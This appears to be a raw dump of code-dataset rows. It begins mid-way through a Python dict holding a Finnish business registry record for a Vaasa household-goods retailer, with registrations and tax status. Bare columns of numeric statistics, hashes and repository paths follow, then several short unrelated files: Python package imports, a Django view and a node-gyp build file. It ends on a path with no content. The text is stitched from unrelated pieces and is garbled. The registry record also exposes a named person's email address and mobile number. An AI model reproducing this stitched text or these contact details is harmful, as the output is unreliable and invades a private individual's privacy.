"EndDate": None, }, "Source": { "PrimaryCode": "TLAHDE", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Patentti- ja rekisterihallitus", }, { "Language": "sv", "Type": "Default", "Description": "Patent- och registerstyrelsen", }, { "Language": "en", "Type": "Default", "Description": "Finnish Patent and Registration Office", }, ] }, }, "Type": { "PrimaryCode": "KUNTA", "SecondaryCode": "905", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "VAASA", }, { "Language": "sv", "Type": "Default", "Description": "VASA", }, { "Language": "en", "Type": "Default", "Description": "VAASA", }, ] }, }, }, "BusinessLine": { "CodeActive": True, "Validity": { "StartDate": "2007-12-31T00:00:00.000+00:00", "EndDate": None, }, "Source": { "PrimaryCode": "TLAHDE", "SecondaryCode": "2", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "Type": { "PrimaryCode": "TOIMI3", "SecondaryCode": "47594", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Taloustavaroiden vähittäiskauppa", }, { "Language": "sv", "Type": "Default", "Description": "Specialiserad butikshandel med hushållsartiklar", }, { "Language": "en", "Type": "Default", "Description": "Retail sale of household articles", }, ] }, }, }, "Language": { "CodeActive": True, "Validity": { "StartDate": "1992-03-03T00:00:00.000+00:00", "EndDate": None, }, "Source": { "PrimaryCode": "TLAHDE", "SecondaryCode": "2", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "Type": { "PrimaryCode": "KIELI", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Suomi", }, { "Language": "sv", "Type": "Default", "Description": "Suomi", }, { "Language": "en", "Type": "Default", "Description": "Finnish", }, ] }, }, }, "BusinessActivity": None, "CompanyStatus": { "Validity": { "StartDate": "1992-03-03T00:00:00.000+00:00", "EndDate": None, }, "BusinessIdStatus": { "PrimaryCode": "STATUS3", "SecondaryCode": "2", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Voimassa", }, { "Language": "sv", "Type": "Default", "Description": "Giltigt", }, { "Language": "en", "Type": "Default", "Description": "Valid", }, ] }, }, "Status": { "PrimaryCode": "STATUS3", "SecondaryCode": "2", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Voimassa", }, { "Language": "sv", "Type": "Default", "Description": "Giltigt", }, { "Language": "en", "Type": "Default", "Description": "Valid", }, ] }, }, }, "PostalAddress": { "ForeignAddress": None, "DomesticAddress": { "CareOf": "", "Street": "Vasaratie", "PostOfficeBox": "", "BuildingNumber": "4", "Entrance": "A", "ApartmentNumber": "3", "ApartmentIDSuffix": "", "PostalCode": "65350", "City": "VAASA", "Language": { "PrimaryCode": "KIELI3", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Suomi", }, { "Language": "sv", "Type": "Default", "Description": "Finska", }, { "Language": "en", "Type": "Default", "Description": "Finnish", }, ] }, }, "Type": { "PrimaryCode": "OLAJI", "SecondaryCode": "2", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Postiosoite", }, { "Language": "sv", "Type": "Default", "Description": "Postadress", }, { "Language": "en", "Type": "Default", "Description": "Postal address", }, ] }, }, "PostalCodeActive": True, "Validity": { "StartDate": "2020-07-22T13:43:08.933+00:00", "EndDate": None, }, }, "NonstandardDomesticAddress": None, }, "StreetAddress": None, "ContactDetails": { "ContactDetail": [ { "Value": "", "Validity": { "StartDate": "2020-07-22T13:43:08.933+00:00", "EndDate": None, }, "Type": { "PrimaryCode": "YLAJI", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Puhelin", }, { "Language": "sv", "Type": "Default", "Description": "Telefon", }, { "Language": "en", "Type": "Default", "Description": "Telephone", }, ] }, }, }, { "Value": "", "Validity": { "StartDate": "2020-07-22T13:43:08.933+00:00", "EndDate": None, }, "Type": { "PrimaryCode": "YLAJI", "SecondaryCode": "2", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Faksi", }, { "Language": "sv", "Type": "Default", "Description": "Fax", }, { "Language": "en", "Type": "Default", "Description": "Fax", }, ] }, }, }, { "Value": "jari.haanpaa@netikka.fi", "Validity": { "StartDate": "2020-07-22T13:43:08.933+00:00", "EndDate": None, }, "Type": { "PrimaryCode": "YLAJI", "SecondaryCode": "3", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Sähköposti", }, { "Language": "sv", "Type": "Default", "Description": "E-post", }, { "Language": "en", "Type": "Default", "Description": "Email", }, ] }, }, }, { "Value": "0400 665254", "Validity": { "StartDate": "2005-01-11T00:00:00.000+00:00", "EndDate": None, }, "Type": { "PrimaryCode": "YLAJI", "SecondaryCode": "5", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Matkapuhelin", }, { "Language": "sv", "Type": "Default", "Description": "Mobiltelefon", }, { "Language": "en", "Type": "Default", "Description": "Mobile phone", }, ] }, }, }, ] }, "RegistrationsInForce": { "RegistryEntry": [ { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "6", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Arvonlisäverovelvollisuus", }, { "Language": "sv", "Type": "Default", "Description": "Momsskyldighet", }, { "Language": "en", "Type": "Default", "Description": "Value added tax-liability", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "82", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Kiinteistön käyttöoikeuden luovuttamisesta", }, { "Language": "sv", "Type": "Default", "Description": "För överlåtelse av nyttjanderätten till en fastighet", }, { "Language": "en", "Type": "Default", "Description": "VAT-obliged for the transfer of rights to" " use immovable property", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2008-07-21T00:00:00.000+00:00", "Validity": { "StartDate": "2008-08-01T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "6", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Arvonlisäverovelvollisuus", }, { "Language": "sv", "Type": "Default", "Description": "Momsskyldighet", }, { "Language": "en", "Type": "Default", "Description": "Value added tax-liability", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "80", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Liiketoiminnasta arvonlisäverovelvollinen", }, { "Language": "sv", "Type": "Default", "Description": "Momsskyldig för rörelseverksamhet", }, { "Language": "en", "Type": "Default", "Description": "VAT-liable for business activity", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2008-07-21T00:00:00.000+00:00", "Validity": { "StartDate": "1994-06-01T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "7", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Työnantajarekisteri", }, { "Language": "sv", "Type": "Default", "Description": "Arbetsgivarregistret", }, { "Language": "en", "Type": "Default", "Description": "Employer register", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "41", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Rekisterissä", }, { "Language": "sv", "Type": "Default", "Description": "Registrerad", }, { "Language": "en", "Type": "Default", "Description": "Registered", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2001-03-30T00:00:00.000+00:00", "Validity": { "StartDate": "1992-03-01T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Kaupparekisteri", }, { "Language": "sv", "Type": "Default", "Description": "Handelsregistret", }, { "Language": "en", "Type": "Default", "Description": "Trade register", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Rekisterissä", }, { "Language": "sv", "Type": "Default", "Description": "Registrerad", }, { "Language": "en", "Type": "Default", "Description": "Registered", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "2", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Patentti- ja rekisterihallitus", }, { "Language": "sv", "Type": "Default", "Description": "Patent- och registerstyrelsen", }, { "Language": "en", "Type": "Default", "Description": "Finnish Patent and Registration Office", }, ] }, }, "RegistrationDate": "1992-01-29T00:00:00.000+00:00", "Validity": { "StartDate": "1992-01-29T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "5", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Ennakkoperintärekisteri", }, { "Language": "sv", "Type": "Default", "Description": "Förskottsuppbördsregistret", }, { "Language": "en", "Type": "Default", "Description": "Prepayment register", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "55", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Rekisterissä", }, { "Language": "sv", "Type": "Default", "Description": "Registrerad", }, { "Language": "en", "Type": "Default", "Description": "Registered", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2017-03-16T00:00:00.000+00:00", "Validity": { "StartDate": "1995-03-01T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "4", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinnon perustiedot", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningens basuppgifter", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Rekisterissä", }, { "Language": "sv", "Type": "Default", "Description": "Registrerad", }, { "Language": "en", "Type": "Default", "Description": "Registered", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2020-06-03T00:00:00.000+00:00", "Validity": { "StartDate": "1992-03-03T00:00:00.000+00:00", "EndDate": None, }, }, ] }, "RegistrationHistory": { "RegistryEntry": [ { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "6", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Arvonlisäverovelvollisuus", }, { "Language": "sv", "Type": "Default", "Description": "Momsskyldighet", }, { "Language": "en", "Type": "Default", "Description": "Value added tax-liability", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "82", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Kiinteistön käyttöoikeuden luovuttamisesta", }, { "Language": "sv", "Type": "Default", "Description": "För överlåtelse av nyttjanderätten till en fastighet", }, { "Language": "en", "Type": "Default", "Description": "VAT-obliged for the transfer of rights to use" " immovable property", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2008-07-21T00:00:00.000+00:00", "Validity": { "StartDate": "2008-08-01T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "6", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Arvonlisäverovelvollisuus", }, { "Language": "sv", "Type": "Default", "Description": "Momsskyldighet", }, { "Language": "en", "Type": "Default", "Description": "Value added tax-liability", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "80", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Liiketoiminnasta arvonlisäverovelvollinen", }, { "Language": "sv", "Type": "Default", "Description": "Momsskyldig för rörelseverksamhet", }, { "Language": "en", "Type": "Default", "Description": "VAT-liable for business activity", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2008-07-21T00:00:00.000+00:00", "Validity": { "StartDate": "1994-06-01T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "7", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Työnantajarekisteri", }, { "Language": "sv", "Type": "Default", "Description": "Arbetsgivarregistret", }, { "Language": "en", "Type": "Default", "Description": "Employer register", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "41", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Rekisterissä", }, { "Language": "sv", "Type": "Default", "Description": "Registrerad", }, { "Language": "en", "Type": "Default", "Description": "Registered", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2001-03-30T00:00:00.000+00:00", "Validity": { "StartDate": "1992-03-01T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Kaupparekisteri", }, { "Language": "sv", "Type": "Default", "Description": "Handelsregistret", }, { "Language": "en", "Type": "Default", "Description": "Trade register", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Rekisterissä", }, { "Language": "sv", "Type": "Default", "Description": "Registrerad", }, { "Language": "en", "Type": "Default", "Description": "Registered", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "2", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Patentti- ja rekisterihallitus", }, { "Language": "sv", "Type": "Default", "Description": "Patent- och registerstyrelsen", }, { "Language": "en", "Type": "Default", "Description": "Finnish Patent and Registration Office", }, ] }, }, "RegistrationDate": "1992-01-29T00:00:00.000+00:00", "Validity": { "StartDate": "1992-01-29T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "5", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Ennakkoperintärekisteri", }, { "Language": "sv", "Type": "Default", "Description": "Förskottsuppbördsregistret", }, { "Language": "en", "Type": "Default", "Description": "Prepayment register", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "55", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Rekisterissä", }, { "Language": "sv", "Type": "Default", "Description": "Registrerad", }, { "Language": "en", "Type": "Default", "Description": "Registered", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2017-03-16T00:00:00.000+00:00", "Validity": { "StartDate": "1995-03-01T00:00:00.000+00:00", "EndDate": None, }, }, { "Registry": { "PrimaryCode": "REK", "SecondaryCode": "4", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinnon perustiedot", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningens basuppgifter", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistryCode": { "PrimaryCode": "REK_KDI", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Rekisterissä", }, { "Language": "sv", "Type": "Default", "Description": "Registrerad", }, { "Language": "en", "Type": "Default", "Description": "Registered", }, ] }, }, "Authority": { "PrimaryCode": "VIRANOM", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Verohallinto", }, { "Language": "sv", "Type": "Default", "Description": "Skatteförvaltningen", }, { "Language": "en", "Type": "Default", "Description": "Tax Administration", }, ] }, }, "RegistrationDate": "2020-06-03T00:00:00.000+00:00", "Validity": { "StartDate": "1992-03-03T00:00:00.000+00:00", "EndDate": None, }, }, ] }, "RegisteredInPrepaymentRegister": True, "NextRevisionDateOfPrepaymentRegister": None, "BusinessIdHistory": None, "InDebtAdjustment": None, } } }
42.892025
110
0.248791
3,674
95,735
6.468699
0.113772
0.074981
0.149962
0.08407
0.834343
0.786249
0.768282
0.71577
0.688841
0.664731
0
0.071775
0.649125
95,735
2,231
111
42.911251
0.635736
0
0
0.575416
0
0
0.247924
0.022259
0
0
0
0
0
1
0.00045
false
0
0.00045
0
0.001351
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
d55c6d00cf10eb78d5a12e35013ae263944c74d6
27
py
Python
examples/__init__.py
wells01440/hfcu
c79593d3146d8a010fc89394d2412a12c29481d0
[ "Apache-2.0" ]
null
null
null
examples/__init__.py
wells01440/hfcu
c79593d3146d8a010fc89394d2412a12c29481d0
[ "Apache-2.0" ]
null
null
null
examples/__init__.py
wells01440/hfcu
c79593d3146d8a010fc89394d2412a12c29481d0
[ "Apache-2.0" ]
null
null
null
from . import simple_module
27
27
0.851852
4
27
5.5
1
0
0
0
0
0
0
0
0
0
0
0
0.111111
27
1
27
27
0.916667
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
6341195b8bc2b97f7a96eb263d93443107582c5d
116
py
Python
taghaza/views.py
mablue/Specialized-Procurement-and-Sales-Management-System-for-East-Azarbaijan-Gas-Company
da071bd199a92d571228a1d823a7fa1f52275604
[ "MIT" ]
30
2019-08-18T14:57:39.000Z
2022-03-15T22:09:09.000Z
taghaza/views.py
mablue/Specialized-Procurement-and-Sales-Management-System-for-East-Azarbaijan-Gas-Company
da071bd199a92d571228a1d823a7fa1f52275604
[ "MIT" ]
3
2021-03-19T00:46:32.000Z
2021-09-22T01:29:08.000Z
taghaza/views.py
mablue/Specialized-Procurement-and-Sales-Management-System-for-East-Azarbaijan-Gas-Company
da071bd199a92d571228a1d823a7fa1f52275604
[ "MIT" ]
7
2019-08-20T14:04:28.000Z
2021-06-29T06:43:08.000Z
from django.shortcuts import render def report(request): return render(request, 'reports/TaghazaReport.html')
19.333333
56
0.775862
14
116
6.428571
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.12931
116
5
57
23.2
0.891089
0
0
0
0
0
0.224138
0.224138
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
6
635da60941b1c2c0ca065f58b1fed58ddddb6f40
223
py
Python
app/web/__init__.py
fzk466569/flask_fishbook
9d7e7af46d86457c0a83fabb8bc9b028b0e4880d
[ "Apache-2.0" ]
null
null
null
app/web/__init__.py
fzk466569/flask_fishbook
9d7e7af46d86457c0a83fabb8bc9b028b0e4880d
[ "Apache-2.0" ]
null
null
null
app/web/__init__.py
fzk466569/flask_fishbook
9d7e7af46d86457c0a83fabb8bc9b028b0e4880d
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # Author: fzk # @Time 10:59 from app.web import book from app.web import drift from app.web import auth from app.web import gift from app.web import wish from app.web import main
18.583333
25
0.717489
41
223
3.902439
0.512195
0.2625
0.375
0.6
0
0
0
0
0
0
0
0.027027
0.170404
223
11
26
20.272727
0.837838
0.282511
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
891e642c52110235e881ad595680ff3ddbebcf91
94
py
Python
src/controller/__init__.py
wiktorowski211/Fruit-Viking
d45c35a56425c4d42a2ee59586bd559037cf07db
[ "MIT" ]
null
null
null
src/controller/__init__.py
wiktorowski211/Fruit-Viking
d45c35a56425c4d42a2ee59586bd559037cf07db
[ "MIT" ]
2
2019-05-22T09:06:16.000Z
2019-05-28T21:38:04.000Z
src/controller/__init__.py
wiktorowski211/Fruit-Viking
d45c35a56425c4d42a2ee59586bd559037cf07db
[ "MIT" ]
1
2019-03-21T13:02:29.000Z
2019-03-21T13:02:29.000Z
from .camera_controller import CameraController from .mouse_controller import MouseController
31.333333
47
0.893617
10
94
8.2
0.7
0.390244
0
0
0
0
0
0
0
0
0
0
0.085106
94
2
48
47
0.953488
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
89873b93fc09ab49a4f10801f19f3573e4188fa2
47
py
Python
boucanpy/core/dns_server/data.py
bbhunter/boucanpy
7d2fb105e7b1e90653a511534fb878bb62d02f17
[ "MIT" ]
34
2019-11-16T17:22:15.000Z
2022-02-11T23:12:46.000Z
boucanpy/core/dns_server/data.py
bbhunter/boucanpy
7d2fb105e7b1e90653a511534fb878bb62d02f17
[ "MIT" ]
1
2021-02-09T09:34:55.000Z
2021-02-10T21:46:20.000Z
boucanpy/core/dns_server/data.py
bbhunter/boucanpy
7d2fb105e7b1e90653a511534fb878bb62d02f17
[ "MIT" ]
9
2019-11-18T22:18:07.000Z
2021-02-08T13:23:51.000Z
from boucanpy.core.types import DnsServerData
15.666667
45
0.851064
6
47
6.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.106383
47
2
46
23.5
0.952381
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
9831e7ee9d198a5fec20ea47d049fbd8c3e2952a
38
py
Python
tensorflow_forward_ad/__init__.py
jiamings/tensorflow-forward-ad
c045123e47100dad7a2a3bc9401ef40c98f7b9f5
[ "MIT" ]
1
2020-05-19T02:04:33.000Z
2020-05-19T02:04:33.000Z
tensorflow_forward_ad/__init__.py
jiamings/tensorflow-forward-ad
c045123e47100dad7a2a3bc9401ef40c98f7b9f5
[ "MIT" ]
null
null
null
tensorflow_forward_ad/__init__.py
jiamings/tensorflow-forward-ad
c045123e47100dad7a2a3bc9401ef40c98f7b9f5
[ "MIT" ]
1
2020-05-19T02:04:34.000Z
2020-05-19T02:04:34.000Z
from .fwgrad import forward_gradients
19
37
0.868421
5
38
6.4
1
0
0
0
0
0
0
0
0
0
0
0
0.105263
38
1
38
38
0.941176
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
985978808af1d6b2e652a98d5ef2ad6383c72e7e
792
gyp
Python
binding.gyp
matortheeternal/s2js
3a3a5b13d65eb722a3da9c99ff7714f192d40976
[ "MIT" ]
2
2018-10-25T08:51:48.000Z
2018-10-31T20:08:17.000Z
binding.gyp
matortheeternal/s2js
3a3a5b13d65eb722a3da9c99ff7714f192d40976
[ "MIT" ]
1
2018-10-29T19:29:51.000Z
2018-10-29T19:29:51.000Z
binding.gyp
matortheeternal/s2js
3a3a5b13d65eb722a3da9c99ff7714f192d40976
[ "MIT" ]
null
null
null
{ "targets": [ { "target_name": "s2js", "sources": [ "src/cpp/api.cc", "src/cpp/s2js.cc", "src/cpp/unit_classes.cc" ], "libraries": [ "$(S2API_ROOT)/$(BUILD_FOLDER)/bin/civetweb", "$(S2API_ROOT)/$(BUILD_FOLDER)/bin/libprotobufd", "$(S2API_ROOT)/$(BUILD_FOLDER)/bin/sc2apid", "$(S2API_ROOT)/$(BUILD_FOLDER)/bin/sc2libd", "$(S2API_ROOT)/$(BUILD_FOLDER)/bin/sc2protocold", "$(S2API_ROOT)/$(BUILD_FOLDER)/bin/sc2utilsd" ], "include_dirs": [ "<!(node -e \"require('nan')\")", "$(S2API_ROOT)/include", "$(S2API_ROOT)/$(BUILD_FOLDER)/generated", "$(S2API_ROOT)/contrib/protobuf/src", "$(S2API_ROOT)/contrib/civetweb/include" ] } ], }
29.333333
57
0.531566
79
792
5.075949
0.405063
0.224439
0.244389
0.349127
0.34414
0
0
0
0
0
0
0.026981
0.251263
792
27
58
29.333333
0.649241
0
0
0.111111
0
0
0.641866
0.522068
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
1
0
0
0
0
0
0
6
986405055344de8c74fcd54e31eed6527dfd2fcb
34
py
Python
chapter_11_package_management/wheel_package_compiled/src/__init__.py
Tm2197/Python-Architecture-Patterns
8091b4d8e2580763ceb55a83c75aa9b6225fcb72
[ "MIT" ]
12
2021-07-20T12:55:39.000Z
2022-02-05T10:53:38.000Z
chapter_11_package_management/wheel_package_compiled/src/__init__.py
Tm2197/Python-Architecture-Patterns
8091b4d8e2580763ceb55a83c75aa9b6225fcb72
[ "MIT" ]
null
null
null
chapter_11_package_management/wheel_package_compiled/src/__init__.py
Tm2197/Python-Architecture-Patterns
8091b4d8e2580763ceb55a83c75aa9b6225fcb72
[ "MIT" ]
9
2021-07-22T06:01:03.000Z
2022-03-01T05:50:45.000Z
from .module import some_function
17
33
0.852941
5
34
5.6
1
0
0
0
0
0
0
0
0
0
0
0
0.117647
34
1
34
34
0.933333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
9868e0a0844281229fafb96837a717d35eec365d
66
py
Python
eagleos/__init__.py
5qc/EagleOS
c42513e4a317e0bc111183c752ba39de824346c3
[ "MIT" ]
null
null
null
eagleos/__init__.py
5qc/EagleOS
c42513e4a317e0bc111183c752ba39de824346c3
[ "MIT" ]
null
null
null
eagleos/__init__.py
5qc/EagleOS
c42513e4a317e0bc111183c752ba39de824346c3
[ "MIT" ]
null
null
null
from .colors import * from .convert import * from .error import *
16.5
22
0.727273
9
66
5.333333
0.555556
0.416667
0
0
0
0
0
0
0
0
0
0
0.181818
66
3
23
22
0.888889
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
98b0492b8549d3edb258ac4dac7b01987d72b7d3
120
py
Python
datahub_core/libs/data_access/__init__.py
